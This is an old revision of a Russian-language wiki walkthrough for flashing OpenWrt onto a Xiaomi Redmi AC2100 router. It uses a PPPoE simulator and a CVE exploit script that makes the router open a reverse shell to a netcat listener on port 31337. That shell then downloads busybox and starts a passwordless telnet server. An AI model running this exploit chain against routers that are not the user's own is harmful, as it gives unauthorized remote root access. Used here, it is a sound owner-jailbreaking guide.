This is an old revision of the document!


https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

Прошивка роутера Xiaomi Redmi AC2100 из Ubuntu 20.04

Как это работает.
Есть два скрипта:

  • Первый - реализует PPPoE сервер
  • Второй - это эксплоит уязвимости, который делает reverse shell - то есть заставляет роутер подсоединиться на заданный IP-адрес и порт и получать оттуда shell-команды.

После получения shell'а мы скопируем туда busybox, затем с его помощью запустим сервер telnet.
Потом - подключимся туда клиентом telnet и прошьем то что нам нужно.

На хосте, с которого выполняем прошивку выполняем:

mkdir ./ac2100 && cd ./ac2100
sudo python -m pip install --upgrade pip
sudo pip3 install scapy
wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -O busybox

wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

wget https://wiki.autosys.tk/_media/openwrt/ac2100_scripts.tar.gz
tar -xvf ./ac2100_scripts.tar.gz

В директории, в которой находятся имиджи OpenWrt, нужно запустить HTTP-сервер, чтобы можно было скачать имиджи в роутер:

sudo python -m http.server 80

Подключаем один из LAN-портов Redmi AC2100 к хосту с помощью патчкорда.
Вторым патчкордом соединяем WAN-порт с одним из LAN-портов.
На сетевом интерфейсе хоста, к которому подключен Redmi AC2100 прописываем адрес 192.168.31.177. Это важно, поскольку именно на этот адрес будет подключаться роутер после применения эксплоита.
В pppoe-simulator.py прописываем свой ethernet-интерфейс (в строке interface = “…“) и запускаем:

chmod +x ./pppoe-simulator.py
sudo python3 ./pppoe-simulator.py

Теперь - идем в web-интерфейс роутера по адресу http://192.168.31.1 и жмем большую синюю кнопку. Роутер сам обнаружит, что ему доступен PPPoE-сервис и предложит ввести логин и пароль. Вводим любые логин/пароль (например и там и там 123) и подключаемся. В окне с pppoe-simulator.py увидим, что роутер подключился.
Открываем еще одно терминала и запускаем netcat - фактически сервер, к которому подключится взломанный роутер, чтобы получать shell-команды:

sudo netcat -nvlp 31337

В результате по нашему адресу 192.168.31.177 на порту 31337 должен быть доступен сокет. Адрес и порт менять нельзя - они захардкожены в эксплоите.
Теперь - в скрипте cve.py прописываем наш интерфейс (в строке interface = ”…“) и в строке с условием определения адреса жертвы первые шесть символов (можно и весь) мак-адрес роутера, написанный на стикере на его брюхе.

if src.startswith("your:router:mac")

и выполняем эксплоит:

sudo python3 ./cve.py

Он выдаст примерно такое:

sessionid:246
src:00:00:00:00:0b:6f
dst:28:d1:27:dc:20:58
.
Sent 1 packets.

В результате через пару секунд в окне с запущенным netcat должна появиться строка:

Connection received on 192.168.31.1 45500

Это значит, что shell полулчен и можно выполнять команды!!! Команды вводить прямо в окне netcat после строки Connection received …
Наша цель - запустить сервер telnet. Если в процессе ввода команд shell отвалится (netcat закроется), то netcat надо перезапустить и еще раз запустить cve.py.
После запуска telnet соединени будет стабильно. Чтобы запустить telnet выполняем:

wget http://192.168.31.177/busybox -O /tmp/busybox
chmod +x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Теперь на роутере работает сервер telnet и к нему можно подключиться. Запускаем telnet:

telnet

И вводим команду:

o 192.168.31.1

В итоге должны увидеть такое:

telnet> o 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.

BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/lib/netifd/proto #

И теперь собственно прошивка:

wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -O /tmp/kernel1.bin
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -O /tmp/rootfs.bin

# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
# Commit our nvram changes
nvram commit
# Flash the kernel
mtd write /tmp/kernel1.bin kernel1
mtd -r write /tmp/rootfs0.bin rootfs0

В итоге - роутер должен сам перезагрузиться в OpenWrt.
Дальше - подключаем роутер кабелем интернету, на компе выставляем получение адреса по DHCP (в итоге OpenWrt должен выдать нам адрес из подсети 192.168.1.0/24) логинимся в него по ssh (без пароля):

ssh root@192.168.1.1

Устанавливаем на него web-интерфейс luci:

opkg update
opkg install luci

Всё. Дальше можно идти в web-морду и настраивать всё как обычно!

Для обновления - скачиваем отсюда https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin и прошиваем.
Не забываем, что в образах нету luci и после прошивки потребуется ее переустановить:

opkg update
opkg install luci

Ну и переустановить и перенастроить те пакеты, которые вы использовали.
В моем случае - haproxy:

opkg install haproxy
, 2021/01/07 01:50, 2021/01/10 15:38

День добрый, все огонь, кроме люси

Collected errors:
 * pkg_hash_fetch_best_installation_candidate: Packages for luci-mod-status found, but incompatible with the architectures configured
 * pkg_hash_fetch_best_installation_candidate: Packages for rpcd-mod-iwinfo found, but incompatible with the architectures configured
 * satisfy_dependencies_for: Cannot satisfy the following dependencies for luci:
 * 	libiwinfo20200105
 * opkg_install_cmd: Cannot install package luci.
, 2021/01/10 15:43, 2021/01/10 15:49

Похоже на проблемы с репозиториями (вернее с пакетами в них).
Насколько я понял, иногда бывает, что в репозиториях отсутствуют некоторые пакеты, поскольку они неудачно собрались.
Это поправляют админы пакетов и репозиториев :)
Вот аналогичные проблемы: https://forum.openwrt.org/t/luci-dependency-error-libiwinfo20200105/52117/15

Enter your comment. Wiki syntax is allowed:
 
  • openwrt/flash_xiaomi_redmi_ac2100.1619333928.txt
  • Last modified: 2021/04/25 06:58
  • by admin